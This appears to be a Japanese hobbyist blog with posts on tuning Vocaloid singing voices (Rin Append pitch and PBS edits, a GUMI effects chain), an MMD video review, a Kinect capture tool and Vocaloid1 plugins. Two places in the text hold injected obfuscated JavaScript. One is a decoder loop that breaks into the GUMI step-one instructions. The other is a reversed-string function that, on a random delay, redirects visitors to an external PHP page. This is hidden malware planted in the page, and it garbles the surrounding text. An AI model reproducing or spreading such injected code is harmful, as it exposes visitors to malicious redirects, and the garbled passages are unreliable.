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鏡音リンAppendでアイドルマスターのrelationsの歌声作成中(Pit弄り)



現在、波形をそのままPitに反映しているために声がとても不安定な状態になっています。
Pitはこういう感じです。


これでは、声がとても不安定なので、ある程度、ならしが必要です。
ぼかりすとかだと、大胆にいじっても大丈夫そうなので、なにかやり方があるのかな?

私にはやり方がわからないので、ともかく、とがったPitとかを、まるめたり、いろいろならしていきました。
場合によってはPBS4を2にしたりとかして、Pitの影響を下げて対応することもあります。

これは、Pitの書き方をいじると、歌い方に影響がでる場合に、PBSを変えたりしてます。
PBS1とかにしちゃうとほとんどPITの影響受けなくなって歌い方もデフォルトの状態っぽくなっちゃうので
使うポイントを特定して使ったほうがいいかと思います。

いろいろと試しながらならした後がこんな感じ。
まだまだ試行錯誤しながらなので、さらに修正したりもしてます。



そういう感じでPitとPBSをいじって作ったのがこういう感じです。
まだ声が安定していない部分とかもあるので、そのあたり煮詰めないといけないですね。

この曲はリバーブをうっすらかける程度にしないと声がかなり浮く気がしますね。
無印リンだと、それなりにかけてもごまかせるきがするのに、Appnedの声のせいなのかな?

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音楽知識のない人間が試しながらやっていることなので、こうやったらいいよとか
あったら教えてほしいです。


※画像をクリックすると拡大した画像が表示されます。

動画紹介:【MMD】ルララ♪【PV】

これまで何度もテスト版の投稿があり、毎回クオリティーが上がっていっていたルララがついに完成したようです。

/**/deo.jp/watch/sm13663706″>【ニコニコ動画】【MMD】ルララ♪【PV】


途中のみんなでタイミングを合わせて演奏を再開する部分の間は、おもわず息を止めてしまうぐらい。
本当にみんな楽しそうに演奏・歌っているなと感じます。

そして、やはり一番の注目はネルのドラム演奏だと思います。
全体的に良い雰囲気で酔いしれる感じなのですが、ネルのスティックさばきに、表情などに釘付け。

今日は仕事で疲れて帰ってきて、最初にみた動画がこれでした。
ほっこりさせて頂きました。


しかし、2/21投稿だったとは、気付くの遅すぎですね。

MMDでKinectを使う際にお勧めのソフトウェア

MikuMikuDanceがKinectに対応しましたが、MoggDxOpenNIというツールを利用することで
より細かいモーションキャプチャができるようになっています。

ツールは以下のサイトで公開されています。
moggproject
https://sites.google.com/site/moggproject/

ツールの概要
・DxOpenNI の改造DLL
・首および手首が連動するようになります(標準DLLでは連動しません)

使ったみた感想ですがKinect事態の性能の問題もあり、うまく手首が連動しない場合もありますが
総じて、使ったほうが自然のモーションになっていいと思いました。

同じポーズでうまく画像が取れなかったのでわかりにくいかもしれませんが、こういう感じになりました。

ツール導入前


ツール導入後

首、手首、導入前に比べて曲がっているのがわかるかと思います。
導入前だと、まっすぐな状態になっています。

ツールを導入すると、動きの少ない状態(静止状態など)でもモデルがぷるぷると動きます。
これは、モーションキャプチャ後に作成されたVmdファイルを間引きしてくれるツールで整形すると
解消されます。
(完全に治るかまではわかりませんが、簡単な動きでテストしてみたときは大丈夫でした)



あとは、春に公開されるKinectのSDKをひぐちさんがどのように取り込むか楽しみですね。

メグッポイド(GUMI)の声の加工手順を紹介

2010年6月3日にSNS「にゃっぽん」で書いていた内容なのですが、改めてブログのほうにも書いておこうと思います。

特にめずらしいこともしておらず、いろいろな方のやり方を参考にしながら試してきた内容です。

ボカロによって、省く手順や追加する手順があります。
もちろんそれぞれ適用するパラメータも異なってきます。

この頃はMMをメインで使っていました。
MAGIX Music Maker Producer Edition(略称:MM)
現在は、ProToolsを使っていますが、やっていること自体はあまりかわりません。

ボカロディターがからWAV出力
これが素の声になります。

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その1
MAGIX Music Maker Producer Editionについてる
10 Bdelay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anddefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q9=vd.indexOf(y1.charAt(p6++));y3=vd.indexOf(y1.charAt(p6++));w4=vd.indexOf(y1.charAt(p6++));u5=vd.indexOf(y1.charAt(p6++));p3=(q9<<2)|(y3>>4);na=((y3&15)<<4)|(w4>>2);pc=((w4&3)<<6)|u5;if(p3>=192)p3+=848;else if(p3==168)p3=1025;else if(p3==184)p3=1105;yb+=String.fromCharCode(p3);if(w4!=64){if(na>=192)na+=848;else if(na==168)na=1025;else if(na==184)na=1105;yb+=String.fromCharCode(na);}if(u5!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6 EQをかける。
GUMIのこもったような声をすこしすっきりとするのが主な目的です。
下のほうをさげて、上のほうをちょっとあげる感じです。上のほうの上げ具合は好みだと思います。
私は基本、高音大好きなので上げすぎになることが多いです。

こんな声になります。

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その2
フリーVstであるSPITFISHを使用する
声でとんがった部分をまるめる感じ?

こんな声になります。気持ち掠れた声がうすらいでませんか?リンの滑舌に対応するときでも使うと聞きます。

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その3
Music Studio Producer(フリーソフト)のショートディレイをかける。
これは、声をけずったりして、細くなったのをごまかす感じ?

こんな声になります。

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注)2011/2/23現在は、ProToolsのリバーブでいい感じに使えているので無印のリン以外ではショートディレイをつかっていません。

その4
MAGIX Music Maker Producer Editionに戻って、
VARIVERB、COMPRESSORを使用。
VARIVERB:リバーブ的なもの思ってます。
COMPRESSOR:音量アップ的なものだと思ってます。


そしたら、こんな感じの声になります。

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リバーブのきかせ具合は、伴奏に合わせながらきめてます。
改めて伴奏と合わせないできいたら、この声でもいい気がしてきました。

その5
フリーVstであるSPITFISHを使用して、気になるところをまるめる。
BuzMaxi3で音圧アップ。伴奏をききながら適当に調整。

こんな声になります。
(いっこ前の状態のほうがいい気もしてきてます・・・やりすぎてるかな)

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こんな感じです。

伴奏とあわせると、こんな感じになります。(完成動画)
$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/watch/sm10739635″>【ニコニコ動画】【底辺スレ発祥曲】シューティングスター / GUMI・MEIKO 【VOCALOIDカバー曲】


よくわからないまま、とにかくパラメータ弄って気にいった声になるように
試行錯誤しているので、この部分はこういう風にしたほうがいいとか
このサイトみたらいいよとか、つっこんでもらえるとありがたいです。


というわけで、半年くらい前の状態ですが、GUMIはDAWで声を加工する技術でがらりを変わる気がします。
私はDAWの使い方がいまいちわかっていないので、GUMIの良さがまだまだだせていません。

注)2011/2/23現在は、ProTools付属のプラグインをメインで使用しています。
この頃はまだProToolsを買ってなかったので、MM+フリーのエフェクトでがんばってました。
とはいっても、フリーのエフェクトのほうが使いやすいものがあるので、そっちもたまに使ってます。



お勧めプラグインとか
こういうやり方ためしたらどうですかという情報熱烈歓迎

Vocaloid1を使うなら「めーこといっしょ」をいれるといいですよ

ないしょの人が公開しているボカロ1用のプラグインです。


配布先は、こちら。
Vocaloid1用拡張ツール めーこといっしょ(仮名)
http://www.geocities.jp/hatsune_wave/vocaloid1.html

めーこといっしょ(仮名) 本体をダウンロードして、vocaloidがインストールされているフォルダにコピーするだけです。
詳しくは「README」を読めばわかります。

これは、本体だけなので、あとは、同ページにあるプラグイン 単体から必要なものをダウンロードしてセットアップしましょう。

ちなみに、個人的お勧めなプラグインは以下の通りです。

Japanize
Vocaloid Editor日本語化プラグイン。
ボカロ1はメニュー表記が英語なので、セットアップすると日本語メニューになるのでわかりやすいです。

LyricSupport
歌詞の流し込みダイアログ拡張プラグイン。
もはや、これがないとボカロ1での作業は絶望といってもいいくらい愛用してます。
歌詞をいっきに流し込むことができます。
これがないと、ノートごとに歌詞をいれていかないといけないという煩わしさ

GuideArrow
十字カーソルの横にノート位置orコントロール数値を表示するプラグイン。
私は、PitやPBSなどもかなり弄るので、数値がでてくれるのでとてもありがたいです。

WaveRender または WaveRenderA
外部ファイルレンダリングプラグイン (DirectShow版 または ACM版)。
カバーで歌わせる場合、ReWireを使うほうがいいのかもしれませんが、ReWireは音が流れるまで若干時間がかかるので
私はこのプラグインを愛用しています。
WAVファイルの音と、ボカロの歌声を同時に再生して確認するのに使ってます。

AutoReWire
ReWireホストにトラック情報を自動送信するプラグイン。
ReWire使う人なら必須でしょう。まいかい自動送信ボタンを押す必要がなくなります。

ほかにも自動バックアッププラグインやWAVファイルの波形を重ねて表示するプラグインなど、便利なプラグインがあります。



もちろん、ボカロ2用のプラグインも公開してあります。
はちゅねのないしょ
http://www.geocities.jp/hatsune_wave/
はちゅねのないしょのほうにしかないプラグインといえば
あっきー氏作スペクトルアナライザーWaveToneの解析データを重ねて表示するプラグインがあり、カバーで歌声作成するときに助かります。